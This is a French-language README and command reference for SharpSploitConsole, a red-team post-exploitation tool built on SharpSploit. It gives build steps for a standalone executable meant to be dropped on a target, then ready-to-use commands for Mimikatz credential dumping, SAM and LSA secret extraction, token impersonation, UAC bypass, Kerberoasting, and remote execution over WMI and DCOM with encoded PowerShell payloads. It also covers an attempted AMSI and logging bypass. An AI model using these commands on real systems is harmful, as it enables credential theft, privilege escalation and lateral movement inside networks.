
Application console en C# pour les opérations de post-exploitation et d'équipe rouge, intégrant SharpSploit pour exécuter des commandes Mimikatz, effectuer du Kerberoasting, contourner l'UAC, extraire des identifiants et se déplacer latéralement via WMI/DCOM.
Application console conçue pour interagir avec SharpSploit publié par @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit est un outil écrit par @cobbr_io qui combine de nombreuses techniques / code C# de la communauté infosec et les rassemble en une seule DLL géniale. C'est impressionnant, allez voir !
SharpSploit Console est simplement un binaire de preuve de concept rapide pour aider les testeurs de pénétration ou les équipes rouges ayant moins d'expérience en C# à jouer avec certaines des merveilles qu'est SharpSploit. En suivant les instructions ci-dessous, vous devriez être capable d'intégrer à la fois SharpSploit.dll et System.Management.Automation.dll dans le binaire SharpSploitConsole, créant ainsi un exe autonome que vous pouvez déposer sur un système cible approprié et exécuter via un shell non interactif (tel que beacon).
Ce concept peut être appliqué à de nombreux binaires C#. Par exemple, nous pourrions intégrer System.Management.Automation.dll dans notre NoPowershell.exe C# préféré, créant ainsi un binaire qui ne dépend pas de System.Management.Automation.dll sur le système cible.
Enfin, je suis conscient qu'il existe probablement des milliers de façons d'améliorer, d'accélérer, de rendre plus cool, plus furtif, etc. Alors n'hésitez pas à me le faire savoir... de manière agréable. :) Je prévois également d'ajouter plus de modules et d'en améliorer d'autres.
Contact :
Avant de soumettre des problèmes, cet outil peut ne pas être mis à jour activement. Je vous encourage à emprunter, ajouter, modifier et/ou créer le vôtre. N'oubliez pas que tout le code génial qui existe (et il y en a beaucoup) peut être repris/modifié pour créer vos propres outils personnalisés.
Remarque : J'ai utilisé Windows 10, Visual Studio 2017 - les résultats peuvent varier
Téléchargez l'outil SharpSploit depuis https://github.com/cobbr/SharpSploit.git
Ouvrez SharpSploit.sln dans Visual Studio et compilez (assurez-vous de compiler pour la bonne architecture) - Vous devriez voir une liste déroulante avec Any CPU > Cliquez dessus et ouvrez le Gestionnaire de configuration > sous plateforme, changez pour l'architecture souhaitée et sélectionnez ok.
Téléchargez l'outil SharpSploitConsole et ouvrez SharpSploitConsole.sln
Copiez les deux fichiers SharpSploit.dll et System.Management.Automation.dll situés dans le répertoire SharpSploit/bin/x64/Debug vers le dossier SharpSploitConsole/bin/x64/Debug
Ensuite, nous allons configurer Visual Studio pour intégrer nos DLL dans notre exe afin d'avoir un seul binaire que nous pourrons exécuter sur notre machine cible. Nous procéderons comme suit :
Dans Visual Studio :
a. Outils > Gestionnaire de packages NuGet > Console du gestionnaire de packages
b. Dans la console, exécutez :
Install-Package Costura.Fody
c. Ouvrez le Bloc-notes et collez le code ci-dessous et enregistrez-le sous le nom FodyWeavers.xml dans le répertoire SharpSploitConsole qui contient vos dossiers bin, obj, properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Dans Visual Studio, faites un clic droit sur Références sur le côté droit, choisissez Ajouter une référence, puis naviguez vers le répertoire SharpSploitConsole/bin/x64/Debug où nous avons placé nos deux DLL, sélectionnez-les et ajoutez-les.
Remarque : Toutes les commandes sont insensibles à la casse
Par défaut, toutes les commandes peuvent être passées en arguments de ligne de commande, elles seront exécutées et le programme se fermera (idéal pour les shells distants). Cela ressemble à quelque chose comme : sharpSploitConsole.exe getSystem logonPasswords. Sinon, si vous souhaitez utiliser le mode console interactif, vous pouvez utiliser la commande interact pour obtenir un pseudo-shell interactif.
Démarrer le mode console interactif :
Interact
Mimikatz tout (n'exécute pas DCSync) - nécessite admin ou système :
Mimi-All
Exécute une commande Mimikatz spécifique de votre choix - nécessite admin ou système :
Mimi-Command privilege::debug sekurlsa::logonPasswords
Exécute la commande Mimikatz privilege::debug sekurlsa::logonPasswords - nécessite admin ou système :
logonPasswords
Exécute la commande Mimikatz pour récupérer les hash des informations d'identification mises en cache du domaine à partir du registre - nécessite admin ou système :
LsaCache
Exécute la commande Mimikatz pour récupérer les secrets LSA stockés dans le registre - nécessite admin ou système :
LsaSecrets
Récupère les hash de mots de passe de la base de données SAM - nécessite admin ou système :
SamDump
Récupère les informations d'identification Wdigest du registre - nécessite admin ou système :
Wdigest
Récupère l'utilisateur actuel :
whoami
Username
Usurpe l'utilisateur système - nécessite droits admin :
GetSystem
Usurpe l'utilisateur système - Usurpe le jeton d'un processus spécifié, nécessite pid - la commande nécessite droits admin :
Impersonate 2918
Contourne UAC - nécessite binaire | commande | chemin du binaire - nécessite droits admin :
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Met fin à l'usurpation de tout jeton, revient au jeton initial associé au processus actuel :
RevertToSelf
Récupère le répertoire de travail actuel :
CurrentDirectory
Récupère la liste du répertoire actuel :
DirectoryListing
Change le répertoire actuel en ajoutant une chaîne spécifiée au répertoire de travail actuel :
ChangeDirectory SomeFolder
Récupère le nom d'hôte :
Hostname
Récupère la liste des processus en cours :
ProcessList
Crée un minidump de la mémoire d'un processus en cours, nécessite PID | emplacement de sortie | nom de sortie - nécessite admin :
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Récupère la valeur d'un chemin de registre, nécessite l'argument du chemin complet :
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Écrit dans le registre, nécessite l'argument du chemin complet et l'argument de la valeur :
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Récupère les utilisateurs d'un groupe local à distance, nécessite nom_ordinateur | nom_groupe | nom_utilisateur | mot_de_passe :
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Récupère les groupes locaux à distance, nécessite nom_ordinateur | nom_utilisateur | mot_de_passe :
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Récupère les utilisateurs actuellement connectés à distance, nécessite nom_ordinateur | nom_utilisateur | mot_de_passe :
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Récupère les sessions utilisateur à distance, nécessite nom_ordinateur | nom_utilisateur | mot_de_passe :
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Ping des systèmes, nécessite noms d'ordinateurs :
Ping computer1 computer2 computer3 computer4
Scan de ports sur des systèmes, nécessite nom_ordinateur | ports :
PortScan computer1 80 443 445 22 23
Get Domain Users, Récupère les objets utilisateur spécifiés (ou tous) dans le domaine cible, par défaut utilise le contexte utilisateur actuel. Arguments optionnels : -username -password -domain -server -searchbase -searchstring -target :
GetDomainUsers
Get Domain Groups, Récupère les objets groupe spécifiés (ou tous) dans le domaine cible, par défaut utilise le contexte utilisateur actuel. Arguments optionnels : -username -password -domain -server -searchbase -searchstring -target :
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Get Domain Computers, Récupère les objets ordinateur spécifiés (ou tous) dans le domaine cible, par défaut utilise le contexte utilisateur actuel. Arguments optionnels : -username -password -domain -server -searchbase -searchstring -target :
GetDomainComputers
Effectuer Kerberoasting, Effectue une attaque de kerberoasting contre les objets utilisateur ciblés (ou tous) dans le domaine cible, par défaut utilise le contexte utilisateur actuel. Arguments optionnels : -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Exécuter une commande à distance via WMI, nécessite nom_ordinateur | nom_utilisateur | mot_de_passe | commande - nécessite admin :
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Exécuter une commande à distance via DCOM, nécessite nom_ordinateur | commande | répertoire | paramètres - nécessite admin :
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Exécuter une commande shell :
Shell ipconfig /all
Exécuter une commande powershell tout en tentant de contourner AMSI, la journalisation des scriptBlocks et la journalisation des modules :
Powershell -noP -sta -w 1 -enc <Base64>